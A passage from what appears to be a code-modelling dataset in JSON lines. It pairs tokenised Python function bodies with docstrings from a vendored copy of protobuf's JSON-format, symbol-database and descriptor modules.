None:<EOL><INDENT>raise ParseError('<STR_LIT>'.format(name, e))<EOL><DEDENT>else:<EOL><INDENT>raise ParseError(str(e))<EOL><DEDENT><DEDENT>except ValueError as e:<EOL><INDENT>raise ParseError('<STR_LIT>'.format(name, e))<EOL><DEDENT>except TypeError as e:<EOL><INDENT>raise ParseError('<STR_LIT>'.format(name, e))<EOL><DEDENT><DEDENT>", "docstring": "Convert field value pairs into regular message.\n\n    Args:\n      js: A JSON object to convert the field value pairs.\n      message: A regular protocol message to record the data.\n\n    Raises:\n      ParseError: In case of problems converting.", "id": "f8658:m15"}
{"signature": "def _ConvertMessage(value, message):", "body": "message_descriptor = message.DESCRIPTOR<EOL>full_name = message_descriptor.full_name<EOL>if _IsWrapperMessage(message_descriptor):<EOL><INDENT>_ConvertWrapperMessage(value, message)<EOL><DEDENT>elif full_name in _WKTJSONMETHODS:<EOL><INDENT>_WKTJSONMETHODS[full_name][<NUM_LIT:1>](value, message)<EOL><DEDENT>else:<EOL><INDENT>_ConvertFieldValuePair(value, message)<EOL><DEDENT>", "docstring": "Convert a JSON object into a message.\n\n    Args:\n      value: A JSON object.\n      message: A WKT or regular protocol message to record the data.\n\n    Raises:\n      ParseError: In case of convert problems.", "id": "f8658:m16"}
{"signature": "def _ConvertAnyMessage(value, message):", "body": "if isinstance(value, dict) and not value:<EOL><INDENT>return<EOL><DEDENT>try:<EOL><INDENT>type_url = value['<STR_LIT>']<EOL><DEDENT>except KeyError:<EOL><INDENT>raise ParseError('<STR_LIT>')<EOL><DEDENT>sub_message = _CreateMessageFromTypeUrl(type_url)<EOL>message_descriptor = sub_message.DESCRIPTOR<EOL>full_name = message_descriptor.full_name<EOL>if _IsWrapperMessage(message_descriptor):<EOL><INDENT>_ConvertWrapperMessage(value['<STR_LIT:value>'], sub_message)<EOL><DEDENT>elif full_name in _WKTJSONMETHODS:<EOL><INDENT>_WKTJSONMETHODS[full_name][<NUM_LIT:1>](value['<STR_LIT:value>'], sub_message)<EOL><DEDENT>else:<EOL><INDENT>del value['<STR_LIT>']<EOL>_ConvertFieldValuePair(value, sub_message)<EOL><DEDENT>message.value = sub_message.SerializeToString()<EOL>message.type_url = type_url<EOL>", "docstring": "Convert a JSON representation into Any message.", "id": "f8658:m17"}
{"signature": "def _ConvertGenericMessage(value, message):", "body": "<EOL>message.FromJsonString(value)<EOL>", "docstring": "Convert a JSON representation into message with FromJsonString.", "id": "f8658:m18"}
{"signature": "def _ConvertValueMessage(value, message):", "body": "if isinstance(value, dict):<EOL><INDENT>_ConvertStructMessage(value, message.struct_value)<EOL><DEDENT>elif isinstance(value, list):<EOL><INDENT>_ConvertListValueMessage(value, message.list_value)<EOL><DEDENT>elif value is None:<EOL><INDENT>message.null_value = <NUM_LIT:0><EOL><DEDENT>elif isinstance(value, bool):<EOL><INDENT>message.bool_value = value<EOL><DEDENT>elif isinstance(value, six.string_types):<EOL><INDENT>message.string_value = value<EOL><DEDENT>elif isinstance(value, _INT_OR_FLOAT):<EOL><INDENT>message.number_value = value<EOL><DEDENT>else:<EOL><INDENT>raise ParseError('<STR_LIT>')<EOL><DEDENT>", "docstring": "Convert a JSON representation into Value message.", "id": "f8658:m19"}
{"signature": "def _ConvertListValueMessage(value, message):", "body": "if not isinstance(value, list):<EOL><INDENT>raise ParseError(<EOL>'<STR_LIT>'.format(value))<EOL><DEDENT>message.ClearField('<STR_LIT>')<EOL>for item in value:<EOL><INDENT>_ConvertValueMessage(item, message.values.add())<EOL><DEDENT>", "docstring": "Convert a JSON representation into ListValue message.", "id": "f8658:m20"}
{"signature": "def _ConvertStructMessage(value, message):", "body": "if not isinstance(value, dict):<EOL><INDENT>raise ParseError(<EOL>'<STR_LIT>'.format(value))<EOL><DEDENT>for key in value:<EOL><INDENT>_ConvertValueMessage(value[key], message.fields[key])<EOL><DEDENT>return<EOL>", "docstring": "Convert a JSON representation into Struct message.", "id": "f8658:m21"}
{"signature": "def _ConvertWrapperMessage(value, message):", "body": "field = message.DESCRIPTOR.fields_by_name['<STR_LIT:value>']<EOL>setattr(message, '<STR_LIT:value>', _ConvertScalarFieldValue(value, field))<EOL>", "docstring": "Convert a JSON representation into Wrapper message.", "id": "f8658:m22"}
{"signature": "def _ConvertMapFieldValue(value, message, field):", "body": "if not isinstance(value, dict):<EOL><INDENT>raise ParseError(<EOL>'<STR_LIT>'.format(<EOL>field.name, value))<EOL><DEDENT>key_field = field.message_type.fields_by_name['<STR_LIT:key>']<EOL>value_field = field.message_type.fields_by_name['<STR_LIT:value>']<EOL>for key in value:<EOL><INDENT>key_value = _ConvertScalarFieldValue(key, key_field, True)<EOL>if value_field.cpp_type == descriptor.FieldDescriptor.CPPTYPE_MESSAGE:<EOL><INDENT>_ConvertMessage(value[key], getattr(message, field.name)[key_value])<EOL><DEDENT>else:<EOL><INDENT>getattr(message, field.name)[key_value] = _ConvertScalarFieldValue(<EOL>value[key], value_field)<EOL><DEDENT><DEDENT>", "docstring": "Convert map field value for a message map field.\n\n    Args:\n      value: A JSON object to convert the map field value.\n      message: A protocol message to record the converted data.\n      field: The descriptor of the map field to be converted.\n\n    Raises:\n      ParseError: In case of convert problems.", "id": "f8658:m23"}
{"signature": "def _ConvertScalarFieldValue(value, field, require_str=False):", "body": "if field.cpp_type in _INT_TYPES:<EOL><INDENT>return _ConvertInteger(value)<EOL><DEDENT>elif field.cpp_type in _FLOAT_TYPES:<EOL><INDENT>return _ConvertFloat(value)<EOL><DEDENT>elif field.cpp_type == descriptor.FieldDescriptor.CPPTYPE_BOOL:<EOL><INDENT>return _ConvertBool(value, require_str)<EOL><DEDENT>elif field.cpp_type == descriptor.FieldDescriptor.CPPTYPE_STRING:<EOL><INDENT>if field.type == descriptor.FieldDescriptor.TYPE_BYTES:<EOL><INDENT>return base64.b64decode(value)<EOL><DEDENT>else:<EOL><INDENT>return value<EOL><DEDENT><DEDENT>elif field.cpp_type == descriptor.FieldDescriptor.CPPTYPE_ENUM:<EOL><INDENT>enum_value = field.enum_type.values_by_name.get(value, None)<EOL>if enum_value is None:<EOL><INDENT>raise ParseError(<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'.format(<EOL>field.enum_type.full_name, value))<EOL><DEDENT>return enum_value.number<EOL><DEDENT>", "docstring": "Convert a single scalar field value.\n\n    Args:\n      value: A scalar value to convert the scalar field value.\n      field: The descriptor of the field to convert.\n      require_str: If True, the field value must be a str.\n\n    Returns:\n      The converted scalar field value\n\n    Raises:\n      ParseError: In case of convert problems.", "id": "f8658:m24"}
{"signature": "def _ConvertInteger(value):", "body": "if isinstance(value, float):<EOL><INDENT>raise ParseError('<STR_LIT>'.format(value))<EOL><DEDENT>if isinstance(value, six.text_type) and value.find('<STR_LIT:U+0020>') != -<NUM_LIT:1>:<EOL><INDENT>raise ParseError('<STR_LIT>'.format(value))<EOL><DEDENT>return int(value)<EOL>", "docstring": "Convert an integer.\n\n    Args:\n      value: A scalar value to convert.\n\n    Returns:\n      The integer value.\n\n    Raises:\n      ParseError: If an integer couldn't be consumed.", "id": "f8658:m25"}
{"signature": "def _ConvertFloat(value):", "body": "if value == '<STR_LIT>':<EOL><INDENT>raise ParseError('<STR_LIT>')<EOL><DEDENT>try:<EOL><INDENT>return float(value)<EOL><DEDENT>except ValueError:<EOL><INDENT>if value == _NEG_INFINITY:<EOL><INDENT>return float('<STR_LIT>')<EOL><DEDENT>elif value == _INFINITY:<EOL><INDENT>return float('<STR_LIT>')<EOL><DEDENT>elif value == _NAN:<EOL><INDENT>return float('<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>raise ParseError('<STR_LIT>'.format(value))<EOL><DEDENT><DEDENT>", "docstring": "Convert an floating point number.", "id": "f8658:m26"}
{"signature": "def _ConvertBool(value, require_str):", "body": "if require_str:<EOL><INDENT>if value == '<STR_LIT:true>':<EOL><INDENT>return True<EOL><DEDENT>elif value == '<STR_LIT:false>':<EOL><INDENT>return False<EOL><DEDENT>else:<EOL><INDENT>raise ParseError('<STR_LIT>'.format(value))<EOL><DEDENT><DEDENT>if not isinstance(value, bool):<EOL><INDENT>raise ParseError('<STR_LIT>')<EOL><DEDENT>return value<EOL>", "docstring": "Convert a boolean value.\n\n    Args:\n      value: A scalar value to convert.\n      require_str: If True, value must be a str.\n\n    Returns:\n      The bool parsed.\n\n    Raises:\n      ParseError: If a boolean value couldn't be consumed.", "id": "f8658:m27"}
{"signature": "def Default():", "body": "return _DEFAULT<EOL>", "docstring": "Returns the default SymbolDatabase.", "id": "f8659:m0"}
{"signature": "def __init__(self, pool=None):", "body": "self._symbols = {}<EOL>self._symbols_by_file = {}<EOL>self.pool = pool or descriptor_pool.Default()<EOL>", "docstring": "Constructor.", "id": "f8659:c0:m0"}
{"signature": "def RegisterMessage(self, message):", "body": "desc = message.DESCRIPTOR<EOL>self._symbols[desc.full_name] = message<EOL>if desc.file.name not in self._symbols_by_file:<EOL><INDENT>self._symbols_by_file[desc.file.name] = {}<EOL><DEDENT>self._symbols_by_file[desc.file.name][desc.full_name] = message<EOL>self.pool.AddDescriptor(desc)<EOL>return message<EOL>", "docstring": "Registers the given message type in the local database.\n\n        Args:\n          message: a message.Message, to be registered.\n\n        Returns:\n          The provided message.", "id": "f8659:c0:m1"}
{"signature": "def RegisterEnumDescriptor(self, enum_descriptor):", "body": "self.pool.AddEnumDescriptor(enum_descriptor)<EOL>return enum_descriptor<EOL>", "docstring": "Registers the given enum descriptor in the local database.\n\n        Args:\n          enum_descriptor: a descriptor.EnumDescriptor.\n\n        Returns:\n          The provided descriptor.", "id": "f8659:c0:m2"}
{"signature": "def RegisterFileDescriptor(self, file_descriptor):", "body": "self.pool.AddFileDescriptor(file_descriptor)<EOL>", "docstring": "Registers the given file descriptor in the local database.\n\n        Args:\n          file_descriptor: a descriptor.FileDescriptor.\n\n        Returns:\n          The provided descriptor.", "id": "f8659:c0:m3"}
{"signature": "def GetSymbol(self, symbol):", "body": "return self._symbols[symbol]<EOL>", "docstring": "Tries to find a symbol in the local database.\n\n        Currently, this method only returns message.Message instances, however, if\n        may be extended in future to support other symbol types.\n\n        Args:\n          symbol: A str, a protocol buffer symbol.\n\n        Returns:\n          A Python class corresponding to the symbol.\n\n        Raises:\n          KeyError: if the symbol could not be found.", "id": "f8659:c0:m4"}
{"signature": "def GetPrototype(self, descriptor):", "body": "return self.GetSymbol(descriptor.full_name)<EOL>", "docstring": "Builds a proto2 message class based on the passed in descriptor.\n\n        Passing a descriptor with a fully qualified name matching a previous\n        invocation will cause the same class to be returned.\n\n        Args:\n          descriptor: The descriptor to build from.\n\n        Returns:\n          A class describing the passed in descriptor.", "id": "f8659:c0:m5"}
{"signature": "def GetMessages(self, files):", "body": "result = {}<EOL>for f in files:<EOL><INDENT>result.update(self._symbols_by_file[f])<EOL><DEDENT>return result<EOL>", "docstring": "Gets all the messages from a specified file.\n\n        This will find and resolve dependencies, failing if they are not registered\n        in the symbol database.\n\n\n        Args:\n          files: The file names to extract messages from.\n\n        Returns:\n          A dictionary mapping proto names to the message classes. This will include\n          any dependent messages as well as any messages defined in the same file as\n          a specified message.\n\n        Raises:\n          KeyError: if a file could not be found.", "id": "f8659:c0:m6"}
{"signature": "def _GetMessageFromFactory(factory, full_name):", "body": "proto_descriptor = factory.pool.FindMessageTypeByName(full_name)<EOL>proto_cls = factory.GetPrototype(proto_descriptor)<EOL>return proto_cls<EOL>", "docstring": "Get a proto class from the MessageFactory by name.\n\n    Args:\n      factory: a MessageFactory instance.\n      full_name: str, the fully qualified name of the proto type.\n    Returns:\n      A class, for the type identified by full_name.\n    Raises:\n      KeyError, if the proto is not found in the factory's descriptor pool.", "id": "f8661:m0"}
{"signature": "def MakeSimpleProtoClass(fields, full_name=None, pool=None):", "body": "factory = message_factory.MessageFactory(pool=pool)<EOL>if full_name is not None:<EOL><INDENT>try:<EOL><INDENT>proto_cls = _GetMessageFromFactory(factory, full_name)<EOL>return proto_cls<EOL><DEDENT>except KeyError:<EOL><INDENT>pass<EOL><DEDENT><DEDENT>field_items = fields.items()<EOL>if not isinstance(fields, OrderedDict):<EOL><INDENT>field_items = sorted(field_items)<EOL><DEDENT>fields_hash = hashlib.sha1()<EOL>for f_name, f_type in field_items:<EOL><INDENT>fields_hash.update(f_name.encode('<STR_LIT:utf-8>'))<EOL>fields_hash.update(str(f_type).encode('<STR_LIT:utf-8>'))<EOL><DEDENT>proto_file_name = fields_hash.hexdigest() + '<STR_LIT>'<EOL>if full_name is None:<EOL><INDENT>full_name = ('<STR_LIT>' +<EOL>fields_hash.hexdigest())<EOL>try:<EOL><INDENT>proto_cls = _GetMessageFromFactory(factory, full_name)<EOL>return proto_cls<EOL><DEDENT>except KeyError:<EOL><INDENT>pass<EOL><DEDENT><DEDENT>factory.pool.Add(<EOL>_MakeFileDescriptorProto(proto_file_name, full_name, field_items))<EOL>return _GetMessageFromFactory(factory, full_name)<EOL>", "docstring": "Create a Protobuf class whose fields are basic types.\n\n    Note: this doesn't validate field names!\n\n    Args:\n      fields: dict of {name: field_type} mappings for each field in the proto. If\n          this is an OrderedDict the order will be maintained, otherwise the\n          fields will be sorted by name.\n      full_name: optional str, the fully-qualified name of the proto type.\n      pool: optional DescriptorPool instance.\n    Returns:\n      a class, the new protobuf class with a FileDescriptor.", "id": "f8661:m1"}
{"signature": "def _MakeFileDescriptorProto(proto_file_name, full_name, field_items):", "body": "package, name = full_name.rsplit('<STR_LIT:.>', <NUM_LIT:1>)<EOL>file_proto = descriptor_pb2.FileDescriptorProto()<EOL>file_proto.name = os.path.join(package.replace('<STR_LIT:.>', '<STR_LIT:/>'), proto_file_name)<EOL>file_proto.package = package<EOL>desc_proto = file_proto.message_type.add()<EOL>desc_proto.name = name<EOL>for f_number, (f_name, f_type) in enumerate(field_items, <NUM_LIT:1>):<EOL><INDENT>field_proto = desc_proto.field.add()<EOL>field_proto.name = f_name<EOL>field_proto.number = f_number<EOL>field_proto.label = descriptor_pb2.FieldDescriptorProto.LABEL_OPTIONAL<EOL>field_proto.type = f_type<EOL><DEDENT>return file_proto<EOL>", "docstring": "Populate FileDescriptorProto for MessageFactory's DescriptorPool.", "id": "f8661:m2"}
{"signature": "def _ParseOptions(message, string):", "body": "message.ParseFromString(string)<EOL>return message<EOL>", "docstring": "Parses serialized options.\n\n    This helper function is used to parse serialized options in generated\n    proto2 files. It must not be used outside proto2.", "id": "f8663:m0"}
{"signature": "def _ToCamelCase(name):", "body": "capitalize_next = False<EOL>result = []<EOL>for c in name:<EOL><INDENT>if c == '<STR_LIT:_>':<EOL><INDENT>if result:<EOL><INDENT>capitalize_next = True<EOL><DEDENT><DEDENT>elif capitalize_next:<EOL><INDENT>result.append(c.upper())<EOL>capitalize_next = False<EOL><DEDENT>else:<EOL><INDENT>result += c<EOL><DEDENT><DEDENT>if result and result[<NUM_LIT:0>].isupper():<EOL><INDENT>result[<NUM_LIT:0>] = result[<NUM_LIT:0>].lower()<EOL><DEDENT>return '<STR_LIT>'.join(result)<EOL>", "docstring": "Converts name to camel-case and returns it.", "id": "f8663:m1"}
{"signature": "def MakeDescriptor(desc_proto, package='<STR_LIT>', build_file_if_cpp=True,<EOL>syntax=None):", "body": "if api_implementation.Type() == '<STR_LIT>' and build_file_if_cpp:<EOL><INDENT>from typy.google.protobuf import descriptor_pb2<EOL>file_descriptor_proto = descriptor_pb2.FileDescriptorProto()<EOL>file_descriptor_proto.message_type.add().MergeFrom(desc_proto)<EOL>proto_name = str(uuid.uuid4())<EOL>if package:<EOL><INDENT>file_descriptor_proto.name = os.path.join(package.replace('<STR_LIT:.>', '<STR_LIT:/>'),<EOL>proto_name + '<STR_LIT>')<EOL>file_descriptor_proto.package = package<EOL><DEDENT>else:<EOL><INDENT>file_descriptor_proto.name = proto_name + '<STR_LIT>'<EOL><DEDENT>_message.default_pool.Add(file_descriptor_proto)<EOL>result = _message.default_pool.FindFileByName(file_descriptor_proto.name)<EOL>if _USE_C_DESCRIPTORS:<EOL><INDENT>return result.message_types_by_name[desc_proto.name]<EOL><DEDENT><DEDENT>full_message_name = [desc_proto.name]<EOL>if package: full_message_name.insert(<NUM_LIT:0>, package)<EOL>enum_types = {}<EOL>for enum_proto in desc_proto.enum_type:<EOL><INDENT>full_name = '<STR_LIT:.>'.join(full_message_name + [enum_proto.name])<EOL>enum_desc = EnumDescriptor(<EOL>enum_proto.name, full_name, None, [<EOL>EnumValueDescriptor(enum_val.name, ii, enum_val.number)<EOL>for ii, enum_val in enumerate(enum_proto.value)])<EOL>enum_types[full_name] = enum_desc<EOL><DEDENT>nested_types = {}<EOL>for nested_proto in desc_proto.nested_type:<EOL><INDENT>full_name = '<STR_LIT:.>'.join(full_message_name + [nested_proto.name])<EOL>nested_desc = MakeDescriptor(nested_proto,<EOL>package='<STR_LIT:.>'.join(full_message_name),<EOL>build_file_if_cpp=False,<EOL>syntax=syntax)<EOL>nested_types[full_name] = nested_desc<EOL><DEDENT>fields = []<EOL>for field_proto in desc_proto.field:<EOL><INDENT>full_name = '<STR_LIT:.>'.join(full_message_name + [field_proto.name])<EOL>enum_desc = None<EOL>nested_desc = None<EOL>if field_proto.HasField('<STR_LIT>'):<EOL><INDENT>type_name = field_proto.type_name<EOL>full_type_name = '<STR_LIT:.>'.join(full_message_name +<EOL>[type_name[type_name.rfind('<STR_LIT:.>')+<NUM_LIT:1>:]])<EOL>if full_type_name in nested_types:<EOL><INDENT>nested_desc = nested_types[full_type_name]<EOL><DEDENT>elif full_type_name in enum_types:<EOL><INDENT>enum_desc = enum_types[full_type_name]<EOL><DEDENT><DEDENT>field = FieldDescriptor(<EOL>field_proto.name, full_name, field_proto.number - <NUM_LIT:1>,<EOL>field_proto.number, field_proto.type,<EOL>FieldDescriptor.ProtoTypeToCppProtoType(field_proto.type),<EOL>field_proto.label, None, nested_desc, enum_desc, None, False, None,<EOL>options=field_proto.options, has_default_value=False)<EOL>fields.append(field)<EOL><DEDENT>desc_name = '<STR_LIT:.>'.join(full_message_name)<EOL>return Descriptor(desc_proto.name, desc_name, None, None, fields,<EOL>list(nested_types.values()), list(enum_types.values()), [],<EOL>options=desc_proto.options)<EOL>", "docstring": "Make a protobuf Descriptor given a DescriptorProto protobuf.\n\n    Handles nested descriptors. Note that this is limited to the scope of defining\n    a message inside of another message. Composite fields can currently only be\n    resolved if the message is defined in the same scope as the field.\n\n    Args:\n      desc_proto: The descriptor_pb2.DescriptorProto protobuf message.\n      package: Optional package name for the new message Descriptor (string).\n      build_file_if_cpp: Update the C++ descriptor pool if api matches.\n                         Set to False on recursion, so no duplicates are created.\n      syntax: The syntax/semantics that should be used.  Set to \"proto3\" to get\n              proto3 field presence semantics.\n    Returns:\n      A Descriptor for protobuf messages.", "id": "f8663:m2"}
{"signature": "def __init__(self, options, options_class_name):", "body": "self._options = options<EOL>self._options_class_name = options_class_name<EOL>self.has_options = options is not None<EOL>", "docstring": "Initialize the descriptor given its options message and the name of the\n        class of the options message. The name of the class is required in case\n        the options message is None and has to be created.", "id": "f8663:c2:m0"}
{"signature": "def _SetOptions(self, options, options_class_name):", "body": "self._options = options<EOL>self._options_class_name = options_class_name<EOL>self.has_options = options is not None<EOL>", "docstring": "Sets the descriptor's options\n\n        This function is used in generated proto2 files to update descriptor\n        options. It must not be used outside proto2.", "id": "f8663:c2:m1"}
{"signature": "def GetOptions(self):", "body": "if self._options:<EOL><INDENT>return self._options<EOL><DEDENT>from typy.google.protobuf import descriptor_pb2<EOL>try:<EOL><INDENT>options_class = getattr(descriptor_pb2, self._options_class_name)<EOL><DEDENT>except AttributeError:<EOL><INDENT>raise RuntimeError('<STR_LIT>' %<EOL>(self._options_class_name))<EOL><DEDENT>self._options = options_class()<EOL>return self._options<EOL>", "docstring": "Retrieves descriptor options.\n\n        This method returns the options set or creates the default options for the\n        descriptor.", "id": "f8663:c2:m2"}
{"signature": "def __init__(self, options, options_class_name, name, full_name,<EOL>file, containing_type, serialized_start=None,<EOL>serialized_end=None):", "body": "super(_NestedDescriptorBase, self).__init__(<EOL>options, options_class_name)<EOL>self.name = name<EOL>self.full_name = full_name<EOL>self.file = file<EOL>self.containing_type = containing_type<EOL>self._serialized_start = serialized_start<EOL>self._serialized_end = serialized_end<EOL>", "docstring": "Constructor.\n\n        Args:\n          options: Protocol message options or None\n            to use default message options.\n          options_class_name: (str) The class name of the above options.\n\n          name: (str) Name of this protocol message type.\n          full_name: (str) Fully-qualified name of this protocol message type,\n            which will include protocol \"package\" name and the name of any\n            enclosing types.\n          file: (FileDescriptor) Reference to file info.\n          containing_type: if provided, this is a nested descriptor, with this\n            descriptor as parent, otherwise None.\n          serialized_start: The start index (inclusive) in block in the\n            file.serialized_pb that describes this descriptor.\n          serialized_end: The end index (exclusive) in block in the\n            file.serialized_pb that describes this descriptor.", "id": "f8663:c3:m0"}
{"signature": "def GetTopLevelContainingType(self):", "body": "desc = self<EOL>while desc.containing_type is not None:<EOL><INDENT>desc = desc.containing_type<EOL><DEDENT>return desc<EOL>", "docstring": "Returns the root if this is a nested type, or itself if its the root.", "id": "f8663:c3:m1"}
{"signature": "def CopyToProto(self, proto):", "body": "if (self.file is not None and<EOL>self._serialized_start is not None and<EOL>self._serialized_end is not None):<EOL><INDENT>proto.ParseFromString(self.file.serialized_pb[<EOL>self._serialized_start:self._serialized_end])<EOL><DEDENT>else:<EOL><INDENT>raise Error('<STR_LIT>')<EOL><DEDENT>", "docstring": "Copies this to the matching proto in descriptor_pb2.\n\n        Args:\n          proto: An empty proto instance from descriptor_pb2.\n\n        Raises:\n          Error: If self couldnt be serialized, due to to few constructor arguments.", "id": "f8663:c3:m2"}
{"signature": "def __init__(self, name, full_name, filename, containing_type, fields,<EOL>nested_types, enum_types, extensions, options=None,<EOL>is_extendable=True, extension_ranges=None, oneofs=None,<EOL>file=None, serialized_start=None, serialized_end=None,<EOL>syntax=None):  ", "body": "super(Descriptor, self).__init__(<EOL>options, '<STR_LIT>', name, full_name, file,<EOL>containing_type, serialized_start=serialized_start,<EOL>serialized_end=serialized_end)<EOL>self.fields = fields<EOL>for field in self.fields:<EOL><INDENT>field.containing_type = self<EOL><DEDENT>self.fields_by_number = dict((f.number, f) for f in fields)<EOL>self.fields_by_name = dict((f.name, f) for f in fields)<EOL>self._fields_by_camelcase_name = None<EOL>self.nested_types = nested_types<EOL>for nested_type in nested_types:<EOL><INDENT>nested_type.containing_type = self<EOL><DEDENT>self.nested_types_by_name = dict((t.name, t) for t in nested_types)<EOL>self.enum_types = enum_types<EOL>for enum_type in self.enum_types:<EOL><INDENT>enum_type.containing_type = self<EOL><DEDENT>self.enum_types_by_name = dict((t.name, t) for t in enum_types)<EOL>self.enum_values_by_name = dict(<EOL>(v.name, v) for t in enum_types for v in t.values)<EOL>self.extensions = extensions<EOL>for extension in self.extensions:<EOL><INDENT>extension.extension_scope = self<EOL><DEDENT>self.extensions_by_name = dict((f.name, f) for f in extensions)<EOL>self.is_extendable = is_extendable<EOL>self.extension_ranges = extension_ranges<EOL>self.oneofs = oneofs if oneofs is not None else []<EOL>self.oneofs_by_name = dict((o.name, o) for o in self.oneofs)<EOL>for oneof in self.oneofs:<EOL><INDENT>oneof.containing_type = self<EOL><DEDENT>self.syntax = syntax or \"<STR_LIT>\"<EOL>", "docstring": "Arguments to __init__() are as described in the description\n        of Descriptor fields above.\n\n        Note that filename is an obsolete argument, that is not used anymore.\n        Please use file.name to access this as an attribute.", "id": "f8663:c4:m0"}
{"signature": "def EnumValueName(self, enum, value):", "body": "return self.enum_types_by_name[enum].values_by_number[value].name<EOL>", "docstring": "Returns the string name of an enum value.\n\n        This is just a small helper method to simplify a common operation.\n\n        Args:\n          enum: string name of the Enum.\n          value: int, value of the enum.\n\n        Returns:\n          string name of the enum value.\n\n        Raises:\n          KeyError if either the Enum doesn't exist or the value is not a valid\n            value for the enum.", "id": "f8663:c4:m2"}
{"signature": "def CopyToProto(self, proto):", "body": "<EOL>super(Descriptor, self).CopyToProto(proto)<EOL>", "docstring": "Copies this to a descriptor_pb2.DescriptorProto.\n\n        Args:\n          proto: An empty descriptor_pb2.DescriptorProto.", "id": "f8663:c4:m3"}
{"signature": "def __init__(self, name, full_name, index, number, type, cpp_type, label,<EOL>default_value, message_type, enum_type, containing_type,<EOL>is_extension, extension_scope, options=None,<EOL>has_default_value=True, containing_oneof=None):", "body": "super(FieldDescriptor, self).__init__(options, '<STR_LIT>')<EOL>self.name = name<EOL>self.full_name = full_name<EOL>self._camelcase_name = None<EOL>self.index = index<EOL>self.number = number<EOL>self.type = type<EOL>self.cpp_type = cpp_type<EOL>self.label = label<EOL>self.has_default_value = has_default_value<EOL>self.default_value = default_value<EOL>self.containing_type = containing_type<EOL>self.message_type = message_type<EOL>self.enum_type = enum_type<EOL>self.is_extension = is_extension<EOL>self.extension_scope = extension_scope<EOL>self.containing_oneof = containing_oneof<EOL>if api_implementation.Type() == '<STR_LIT>':<EOL><INDENT>if is_extension:<EOL><INDENT>self._cdescriptor = _message.default_pool.FindExtensionByName(full_name)<EOL><DEDENT>else:<EOL><INDENT>self._cdescriptor = _message.default_pool.FindFieldByName(full_name)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>self._cdescriptor = None<EOL><DEDENT>", "docstring": "The arguments are as described in the description of FieldDescriptor\n        attributes above.\n\n        Note that containing_type may be None, and may be set later if necessary\n        (to deal with circular references between message types, for example).\n        Likewise for extension_scope.", "id": "f8663:c5:m0"}
{"signature": "@staticmethod<EOL><INDENT>def ProtoTypeToCppProtoType(proto_type):<DEDENT>", "body": "try:<EOL><INDENT>return FieldDescriptor._PYTHON_TO_CPP_PROTO_TYPE_MAP[proto_type]<EOL><DEDENT>except KeyError:<EOL><INDENT>raise TypeTransformationError('<STR_LIT>' % proto_type)<EOL><DEDENT>", "docstring": "Converts from a Python proto type to a C++ Proto Type.\n\n        The Python ProtocolBuffer classes specify both the 'Python' datatype and the\n        'C++' datatype - and they're not the same. This helper method should\n        translate from one to another.\n\n        Args:\n          proto_type: the Python proto type (descriptor.FieldDescriptor.TYPE_*)\n        Returns:\n          descriptor.FieldDescriptor.CPPTYPE_*, the C++ type.\n        Raises:\n          TypeTransformationError: when the Python proto type isn't known.", "id": "f8663:c5:m2"}
{"signature": "def __init__(self, name, full_name, filename, values,<EOL>containing_type=None, options=None, file=None,<EOL>serialized_start=None, serialized_end=None):", "body": "super(EnumDescriptor, self).__init__(<EOL>options, '<STR_LIT>', name, full_name, file,<EOL>containing_type, serialized_start=serialized_start,<EOL>serialized_end=serialized_end)<EOL>self.values = values<EOL>for value in self.values:<EOL><INDENT>value.type = self<EOL><DEDENT>self.values_by_name = dict((v.name, v) for v in values)<EOL>self.values_by_number = dict((v.number, v) for v in values)<EOL>", "docstring": "Arguments are as described in the attribute description above.\n\n        Note that filename is an obsolete argument, that is not used anymore.\n        Please use file.name to access this as an attribute.", "id": "f8663:c6:m0"}
{"signature": "def CopyToProto(self, proto):", "body": "<EOL>super(EnumDescriptor, self).CopyToProto(proto)<EOL>", "docstring": "Copies this to a descriptor_pb2.EnumDescriptorProto.\n\n        Args:\n          proto: An empty descriptor_pb2.EnumDescriptorProto.", "id": "f8663:c6:m1"}
{"signature": "def __init__(self, name, index, number, type=None, options=None):", "body": "super(EnumValueDescriptor, self).__init__(options, '<STR_LIT>')<EOL>self.name = name<EOL>self.index = index<EOL>self.number = number<EOL>self.type = type<EOL>", "docstring": "Arguments are as described in the attribute description above.", "id": "f8663:c7:m0"}
{"signature": "def __init__(self, name, full_name, index, containing_type, fields):", "body": "self.name = name<EOL>self.full_name = full_name<EOL>self.index = index<EOL>self.containing_type = containing_type<EOL>self.fields = fields<EOL>", "docstring": "Arguments are as described in the attribute description above.", "id": "f8663:c8:m0"}
{"signature": "def FindMethodByName(self, name):", "body": "for method in self.methods:<EOL><INDENT>if name == method.name:<EOL><INDENT>return method<EOL><DEDENT><DEDENT>return None<EOL>", "docstring": "Searches for the specified method, and returns its descriptor.", "id": "f8663:c9:m1"}
{"signature": "def CopyToProto(self, proto):", "body": "<EOL>super(ServiceDescriptor, self).CopyToProto(proto)<EOL>", "docstring": "Copies this to a descriptor_pb2.ServiceDescriptorProto.\n\n        Args:\n          proto: An empty descriptor_pb2.ServiceDescriptorProto.", "id": "f8663:c9:m2"}
{"signature": "def __init__(self, name, full_name, index, containing_service,<EOL>input_type, output_type, options=None):", "body": "super(MethodDescriptor, self).__init__(options, '<STR_LIT>')<EOL>self.name = name<EOL>self.full_name = full_name<EOL>self.index = index<EOL>self.containing_service = containing_service<EOL>self.input_type = input_type<EOL>self.output_type = output_type<EOL>", "docstring": "The arguments are as described in the description of MethodDescriptor\n        attributes above.\n\n        Note that containing_service may be None, and may be set later if necessary.", "id": "f8663:c10:m0"}
{"signature": "def __init__(self, name, package, options=None, serialized_pb=None,<EOL>dependencies=None, public_dependencies=None,<EOL>syntax=None, pool=None):", "body": "super(FileDescriptor, self).__init__(options, '<STR_LIT>')<EOL>if pool is None:<EOL><INDENT>from typy.google.protobuf import descriptor_pool<EOL>pool = descriptor_pool.Default()<EOL><DEDENT>self.pool = pool<EOL>self.message_types_by_name = {}<EOL>self.name = name<EOL>self.package = package<EOL>self.syntax = syntax or \"<STR_LIT>\"<EOL>self.serialized_pb = serialized_pb<EOL>self.enum_types_by_name = {}<EOL>self.extensions_by_name = {}<EOL>self.dependencies = (dependencies or [])<EOL>self.public_dependencies = (public_dependencies or [])<EOL>if (api_implementation.Type() == '<STR_LIT>' and<EOL>self.serialized_pb is not None):<EOL><INDENT>_message.default_pool.AddSerializedFile(self.serialized_pb)<EOL><DEDENT>", "docstring": "Constructor.", "id": "f8663:c11:m0"}
